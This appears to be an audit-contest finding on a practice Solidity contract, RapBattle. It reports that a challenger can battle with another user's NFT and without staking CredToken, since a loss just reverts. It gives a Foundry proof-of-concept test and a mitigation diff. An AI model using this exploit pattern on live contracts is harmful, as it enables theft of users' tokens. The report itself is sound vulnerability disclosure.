Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Attacker can win battle without actually having a OneShot NFT or even a CredToken

Description:
Inside RapBattle::goOnStageOrBattle we can enter battle without having a NFT. Basically first user needs to enter on Stage, then their NFT is sent to RapBattle contract and also their CredToken. After that a malicious user can execute this function with tokenId of another person and _credBet that will match defenderBet - doesn't matter if he has or not, because if he'll lose, function will just revert.

Impact: User can win battle with other person's NFT leading to stealing other's people CredToken.

Proof of Concept:

  1. Defender mints NFT

  2. Defender executes goOnStageOrBattle

  3. Attacker enters with other person NFT

  4. If he's successfull - he'll win CredToken, if not - function just revert

Add following to OneShotTest.t.sol

function testBattleNotOwner() public twoSkilledRappers {
address defender = makeAddr("defender");
address attacker = makeAddr("attacker");
vm.startPrank(defender);
oneShot.mintRapper();
oneShot.approve(address(rapBattle), 2);
deal(address(cred), defender, 2);
cred.approve(address(rapBattle), type(uint256).max);
rapBattle.goOnStageOrBattle(2, 2);
vm.stopPrank();
uint256 balanceAttackerBefore = cred.balanceOf(attacker);
vm.startPrank(attacker);
rapBattle.goOnStageOrBattle(0, 2);
// tokenId of 0 is user's NFT with best stats
vm.stopPrank();
uint256 balanceAttackerAfter = cred.balanceOf(attacker);
assert(balanceAttackerAfter > balanceAttackerBefore);
}

Recommended Mitigation:
Add checks to make sure another person have NFT.

Another thing is that you should also uncomment those lines and change transferFrom(msg.sender, _defender, _credBet) to transfer.

function goOnStageOrBattle(uint256 _tokenId, uint256 _credBet) external {
if (defender == address(0)) {
defender = msg.sender;
defenderBet = _credBet;
defenderTokenId = _tokenId;
emit OnStage(msg.sender, _tokenId, _credBet);
oneShotNft.transferFrom(msg.sender, address(this), _tokenId);
credToken.transferFrom(msg.sender, address(this), _credBet);
} else {
+ require(oneShotNft.ownerOf(_tokenId) == msg.sender);
- // credToken.transferFrom(msg.sender, address(this), _credBet);
+ credToken.transferFrom(msg.sender, address(this), _credBet);
_battle(_tokenId, _credBet);
}
}
function _battle(uint256 _tokenId, uint256 _credBet) internal {
address _defender = defender;
require(defenderBet == _credBet, "RapBattle: Bet amounts do not match");
uint256 defenderRapperSkill = getRapperSkill(defenderTokenId);
uint256 challengerRapperSkill = getRapperSkill(_tokenId);
uint256 totalBattleSkill = defenderRapperSkill + challengerRapperSkill;
uint256 totalPrize = defenderBet + _credBet;
uint256 random = uint256(
keccak256(
abi.encodePacked(block.timestamp, block.prevrandao, msg.sender)
)
) % totalBattleSkill;
// Reset the defender
defender = address(0);
emit Battle(
msg.sender,
_tokenId,
random < defenderRapperSkill ? _defender : msg.sender
);
// If random <= defenderRapperSkill -> defenderRapperSkill wins, otherwise they lose
if (random <= defenderRapperSkill) {
// We give them the money the defender deposited, and the challenger's bet
credToken.transfer(_defender, defenderBet);
- credToken.transferFrom(msg.sender, _defender, _credBet);
+ credToken.transfer(_defender, _credBet);
} else {
// Otherwise, since the challenger never sent us the money, we just give the money in the contract
credToken.transfer(msg.sender, _credBet);
}
totalPrize = 0;
// Return the defender's NFT
oneShotNft.transferFrom(address(this), _defender, defenderTokenId);
}
Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Challenger can use any nft to battle - not necessarily theirs

missing check for sufficient `_credBet_` approval

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.